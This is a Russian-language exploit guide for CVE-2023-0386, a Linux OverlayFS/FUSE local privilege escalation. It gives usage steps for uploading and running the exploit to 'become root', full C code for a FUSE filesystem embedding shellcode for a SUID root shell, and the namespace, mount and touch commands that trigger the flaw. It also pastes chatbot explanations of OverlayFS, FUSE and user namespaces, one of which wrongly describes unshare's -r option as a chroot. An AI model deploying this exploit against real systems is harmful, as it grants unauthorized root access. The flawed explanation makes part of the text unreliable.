
非常简单的CVE-2023-0386's exp and analysis.Use c and sh.
typora-copy-images-to: ./image
Использование эксплойта:
Первое: Загрузите fuse.c и exp.sh в каталог /tmp.
Вы можете использовать scp или python3 -m http.server для загрузки файла на цель.
scp ~/Desktop/CVE-2023-0386/exp.sh [email protected]:/tmp
scp ~/Desktop/CVE-2023-0386/fuse.c [email protected]:/tmp # ваша машина
или
cd ~/Desktop/CVE-2023-0386
python3 -m http.server # ваша машина
wget your_ip:8000/exp.sh
wget your_ip:8000/fuse.c # цель
Затем:
cd /tmp
/bin/bash exp.sh
Теперь вы root!

Ниже приведён подробный анализ CVE-2023-0386.
Вчера целый день разбирался с этой уязвимостью. Если кратко, то OverlayFS при копировании файла из нижнего слоя в верхний не проверяет, отображён ли пользователь пространства имён нижнего слоя в текущее пространство имён пользователя, что позволяет установить SUID и повысить привилегии.
Звучит абстрактно. Чтобы понять проблему, нужно знать несколько вещей:
ChatGPT: Подробно расскажи об OverlayFS в Linux.
OverlayFS, также известная как Overlay-файловая система, является объединённой файловой системой в ядре Linux. Она позволяет накладывать друг на друга несколько разных файловых систем, образуя единое унифицированное представление. Она была официально принята в ядро начиная с версии Linux 3.18.
OverlayFS имеет три основные компонента: нижняя файловая система (lower filesystem), верхняя файловая система (upper filesystem) и объединённая файловая система (merged filesystem). Их функции:
Нижняя файловая система (lower filesystem): Базовый слой, обычно доступный только для чтения. Все файлы и каталоги изначально берутся из этого слоя.
Верхняя файловая система (upper filesystem): Верхний слой, обычно доступный для записи. Когда мы выполняем операции записи в файловую систему, все изменения сохраняются в этом слое. Если файл существует в нижнем слое, но мы хотим его изменить, то в верхнем слое создаётся его копия, которая затем изменяется. Этот процесс называется «copy-up».
Объединённая файловая система (merged filesystem): Это конечное представление OverlayFS, которое объединяет нижний и верхний слои. При чтении OverlayFS сначала ищет файл в верхнем слое; если не находит, то ищет в нижнем.
Логическая структура выглядит так:
________________
| |
| Merged View |
|________________|
/ \
____________ ____________
| | | |
| Lower | | Upper |
| (read-only)| | (read-write)|
|____________| |____________|
Важное применение OverlayFS — в контейнерных приложениях, особенно в Docker. В Docker каждый слой образа доступен только для чтения и может использоваться как нижняя файловая система для других контейнеров. При запуске нового контейнера Docker создаёт для него новую пустую верхнюю файловую систему. Таким образом, все изменения в контейнере (например, установка нового ПО) влияют только на верхнюю файловую систему, не затрагивая общие слои образов.
Кроме того, поскольку OverlayFS позволяет монтировать несколько нижних файловых систем под одним верхним слоем, можно создавать многослойные файловые системы, что широко используется в Docker при работе со слоями образов.
Если подвести итог: нижний слой только для чтения, верхний — для чтения и записи, объединённый слой объединяет оба и показывает единое представление. Когда мы в объединённом слое изменяем файл, который существует в нижнем слое, но отсутствует в верхнем, нижний файл копируется «как есть» в верхний слой для изменения. Это и есть момент срабатывания уязвимости.
GPT: Ты эксперт по ядру Linux. Теперь подробно объясни, что такое FUSE.
FUSE (Filesystem in Userspace) — это механизм для создания файловых систем в пользовательском пространстве. Это интерфейс, предоставляемый ядром Linux, который позволяет разрабатывать и запускать собственные файловые системы без изменения кода ядра.
Основная цель FUSE — упростить разработку и использование новых файловых систем. С помощью FUSE вы можете создавать собственные файловые системы, не углубляясь в тонкости многих API ядра. Это полезно для отладки, быстрого прототипирования, научных исследований, реализации очень специфичных файловых систем (например, прозрачного шифрования, сетевых файловых систем) и т.д.
В FUSE большая часть логики файловой системы выполняется в пользовательском пространстве. Это упрощает разработку, поскольку пользовательское пространство предоставляет более удобную среду: вы можете использовать любой понравившийся язык программирования, у вас больше библиотек, проще обработка ошибок и т.д. С другой стороны, это означает, что файловые системы FUSE обычно медленнее, чем файловые системы в пространстве ядра, поскольку им приходится часто переключать контекст между пользовательским и ядерным пространствами.
Файловая система FUSE обычно состоит из двух частей:
При разработке файловой системы FUSE вам нужно реализовать ряд функций обратного вызова, соответствующих различным файловым операциям: открытие файла, чтение файла, запись файла и т.д. Когда эти операции происходят, модуль ядра FUSE вызывает соответствующие функции обратного вызова и возвращает результат вызывающему.
В целом, FUSE предоставляет мощную среду для реализации файловых систем в пользовательском пространстве, упрощает их разработку и позволяет расширять и модифицировать файловые системы модульным образом.
По сути, Fuse позволяет пользователю определить собственную файловую систему и файлы внутри неё.
Для этого нужно писать код на C, используя библиотеку FUSE.
Ты эксперт по ядру Linux. Что такое пользовательское пространство имён?
В Linux «пространства имён» (namespaces) — это механизм ядра, который позволяет изолировать представление процессов, так что процесс видит только ресурсы, принадлежащие тому же пространству имён. Каждый тип пространства имён соответствует определённому типу ресурсов. Например, пространство имён PID (Process ID) изолирует идентификаторы процессов, пространство имён Net — сетевые интерфейсы и стек, пространство имён Mount — точки монтирования файловых систем и т.д.
Пользовательское пространство имён (User Namespaces) — один из типов пространств имён Linux, предназначенный в первую очередь для изоляции идентификаторов пользователей и групп. Каждое пользовательское пространство имён имеет свой собственный набор идентификаторов пользователей и групп. Например, процесс в пространстве имён A может работать как root (UID 0), но в пространстве имён B этот же процесс может быть обычным пользователем.
Преимущество такого подхода в том, что даже если процесс обладает root-правами в своём пользовательском пространстве имён, он не может повлиять на ресурсы других пользовательских пространств имён, так как в них он может быть обычным пользователем. Это значительно повышает безопасность системы: даже если контейнер (который, по сути, представляет собой набор процессов, работающих в собственных пространствах имён) будет атакован, злоумышленник не сможет повлиять на хостовую систему или другие контейнеры.
Пользовательские пространства имён — одна из ключевых технологий контейнеров Linux (Docker, LXC и др.). Используя пользовательские пространства имён вместе с другими типами, контейнеры могут обеспечивать изоляцию, близкую к виртуализации, без необходимости в полноценной виртуализации.
В целом, пользовательское пространство имён — это механизм в Linux для изоляции идентификаторов пользователей и групп, который играет важную роль в повышении безопасности системы и контейнеров.
А что такое отображение пользовательского пространства имён?
В пользовательских пространствах имён Linux существует очень важная концепция: отображение пользовательского пространства имён. Это отображение определяет, как преобразуются идентификаторы пользователей и групп между различными пользовательскими пространствами имён. То есть процесс, который в своём пользовательском пространстве имён выглядит как root, в пространстве имён хоста или в другом пространстве имён может быть просто обычным непривилегированным пользователем.
Этот механизм устанавливается путём изменения файлов /proc/[pid]/uid_map и /proc/[pid]/gid_map, где [pid] — PID процесса. В этих файлах каждая строка представляет собой элемент отображения, состоящий из трёх полей: ID внутри пространства имён, ID снаружи пространства имён и диапазон ID. Например, "0 1000 1" означает, что ID 0 внутри пространства имён отображается на ID 1000 снаружи.
Например, процесс, работающий в пользовательском пространстве имён A, может иметь идентификатор пользователя 0 и выглядеть как root. Но если в отображении мы укажем, что 0 отображается на 1000, то для хостового пространства имён и других пользовательских пространств имён этот процесс будет иметь UID 1000, то есть будет обычным пользователем.
Таким образом, отображение пользовательских пространств имён позволяет процессу иметь полные права (например, root) в своём пользовательском пространстве имён, оставаясь обычным пользователем в других пространствах имён, что важно для изоляции и безопасности.
Потому что файлы в нижней файловой системе находятся под полным контролем пользователя (создаются через FUSE), и можно определить любой файл, например, файл с SUID (однако для безопасности в FUSE есть ограничения по умолчанию. Одно из них: файловая система монтируется с опцией nosuid, то есть биты setuid и setgid в FUSE игнорируются, хотя игнорируются, но SUID-бит всё равно существует). Но мы можем через OverlayFS скопировать файл с SUID из системы с nosuid в верхний слой, который является обычной файловой системой; в результате нелегитимный SUID-файл получает реальные SUID-права, что и приводит к повышению привилегий.
Сначала нужно создать несколько каталогов для построения OverlayFS.
cd /tmp
mkdir fuse upper overlay workdir
fuse — каталог для пользовательской файловой системы, он же будет нижним слоем OverlayFS.upper — верхний слой OverlayFS.overlay — объединённый слой OverlayFS.workdir — рабочий каталог OverlayFS.Приведённый ниже код FUSE я модифицировал на основе кода c-мастера. https://github.com/chenaotian/CVE-2023-0386
#define FUSE_USE_VERSION 30
#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
static const char *hello_path = "/hello";// в файловой системе FUSE есть файл hello, путь к нему
const char hello_str[] = {// бинарное содержимое SUID-бэкдора в файловой системе FUSE
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
0x00, 0x56, 0x56, 0x56, 0x56, 0x00, 0x00, 0x00,
0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
0x02, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x31, 0xff, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x75,
0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31,
0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68,
0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f,
0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72,
0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01,
0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e,
0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31,
0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05};
static int hellofs_getattr(const char *path, struct stat *stbuf)// функция обратного вызова getattr для получения атрибутов файла или каталога
{
int res = 0;
memset(stbuf, 0, sizeof(struct stat));
if (strcmp(path, "/") == 0) {// права корневого каталога файловой системы FUSE: 0755
stbuf->st_mode = S_IFDIR | 0755;
stbuf->st_nlink = 2;
} else if (strcmp(path, hello_path) == 0) {// права файла hello: 777 с SUID
stbuf->st_mode = S_IFREG | S_ISUID | 0777;
stbuf->st_nlink = 1;
stbuf->st_size = sizeof(hello_str); // фактический размер файла hello
} else {
res = -ENOENT;
}
return res;
}
static int hellofs_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
off_t offset, struct fuse_file_info *fi)// функция для получения содержимого каталога
{
(void) offset;
(void) fi;
if (strcmp(path, "/") != 0) {// пока поддерживается только просмотр корневого каталога FUSE
return -ENOENT;
}
filler(buf, ".", NULL, 0);// по умолчанию показываем . и ..
filler(buf, "..", NULL, 0);
filler(buf, hello_path + 1, NULL, 0);// в корневом каталоге FUSE есть файл hello
return 0;
}
static int hellofs_open(const char *path, struct fuse_file_info *fi)// функция обратного вызова open для открытия файла
{
puts("[+] open_callback");
puts(path);
if (strcmp(path, "hello") == 0)
{
int fd = open("", fi->flags);
return -errno;
}
return 0;
}
static int hellofs_read(const char *path, char *buf, size_t size, off_t offset,
struct fuse_file_info *fi)// функция обратного вызова read для чтения файла
{
size_t len;
(void) fi;
if(strcmp(path, hello_path) != 0) {// поддерживается только чтение файла hello
return -ENOENT;
}
len = sizeof(hello_str);
if (offset < len) {
if (offset + size > len) {
size = len - offset;
}
memcpy(buf, hello_str + offset, size);// возвращаем содержимое файла hello (бинарный массив выше)
} else {
size = 0;
}
return size;
}
static int ioctl_callback(const char *p, int cmd, void *arg,
struct fuse_file_info *fi, unsigned int flags, void *data)
{
puts("[+] ioctl callback");
printf("path %s\n", p);
printf("cmd 0x%x\n", cmd);
return 0;
}
static struct fuse_operations hellofs_oper = {// достаточно реализовать только четыре вышеперечисленные функции обратного вызова
.getattr = hellofs_getattr,
.readdir = hellofs_readdir,
.open = hellofs_open,
.read = hellofs_read,
.ioctl = ioctl_callback
};
int main(int argc, char *argv[])
{
return fuse_main(argc, argv, &hellofs_oper, NULL);// регистрируем функции обратного вызова
}
Я добавил функцию ioctl_callback, чтобы позже можно было использовать touch, иначе возникнет ошибка «функция не реализована».
Передайте файл на цель через scp:
scp ~/Desktop/CVE-2023-0386/fuse.c [email protected]:/tmp/root

Компиляция:
gcc fuse.c -o efuse -D_FILE_OFFSET_BITS=64 -lfuse
admin@2million:/tmp/root$ gcc fuse.c -o efuse -D_FILE_OFFSET_BITS=64 -lfuse
admin@2million:/tmp/root$ ls
efuse fuse fuse.c overlay upper workdir
Создание файловой системы FUSE:
./efuse fuse
Видим, что в каталоге fuse появился файл hello, принадлежащий root и имеющий SUID:

Поскольку сейчас в FUSE включён nosuid, выполнение этого файла не приведёт к повышению привилегий.
unshare -Urm
unshare — это команда Linux, используемая для «отмены общего доступа» к пространствам имён определённого типа из текущего процесса оболочки. Это создаёт изолированную среду, похожую на виртуализацию, но без необходимости в полноценной операционной системе.
Параметры команды unshare -Urm:
-U — отмена общего доступа к пользовательскому пространству имён. Это заставляет новый процесс оболочки работать в своём собственном пользовательском пространстве имён, где все отображения пользователей и групп уникальны. Это означает, например, что хотя новый процесс оболочки может считать себя работающим как root, снаружи он может работать как другой непривилегированный пользователь.-r — создание новой корневой директории (chroot), чтобы новый процесс оболочки не имел доступа к другим частям файловой системы. Это часто используется для создания изолированной среды, например, при компиляции программного обеспечения, чтобы оно не загрязняло остальную систему.-m — отмена общего доступа к пространству имён монтирования. Это позволяет новому процессу оболочки изменять точки монтирования без влияния на другие процессы. Например, он может монтировать новые файловые системы или изменять атрибуты существующих точек монтирования, не затрагивая остальную часть системы.В совокупности команда unshare -Urm создаёт новую изолированную среду со своими собственными пользователями, группами, точками монтирования и корневым каталогом, полностью изолированную от остальной системы.
Используя существующую файловую систему FUSE как нижний слой, каталог upper как верхний слой, а overlay как объединённый слой:
mount -t overlay overlay -o lowerdir=fuse,upperdir=upper,workdir=workdir overlay
Теперь в объединённом слое появился файл hello:

Нам нужно изменить файл hello, чтобы он скопировался в верхний слой. Это можно сделать командой touch.
Если выполнить touch для существующего файла, изменятся его временные метки; временные метки — это метаданные файла, и их изменение также вызовет копирование. (Если не добавить функцию обратного вызова ioctl_callback ранее, touch не сработает).
Команда touch в основном используется для изменения времени доступа и модификации файла, или, если файл не существует, для создания нового пустого файла. В большинстве случаев touch не вызывает функцию ioctl. Обычно он использует системные вызовы open, close, utimes или utimensat.
ioctl — очень универсальный системный вызов, используемый для операций, специфичных для устройств, или других операций, которые невозможно выразить стандартными системными вызовами. Например, он может использоваться для изменения настроек терминала или опроса состояния сетевого устройства. Однако команда touch в основном взаимодействует с файловой системой, а не с устройствами, поэтому обычно не требует ioctl.
Но это не означает, что ioctl никогда не вызывается, так как файловая система или драйвер устройства могут предоставлять специальные операции ioctl для определённых функций. Например, некоторые файловые системы могут поддерживать специальную операцию ioctl для изменения временных меток файла. Однако такие случаи крайне редки и не относятся к стандартному поведению команды touch.
Чётко видно, что после touch файла в upper появился hello.

Затем выходим из пространства имён и выполняем upper/hello, чтобы успешно повысить привилегии.
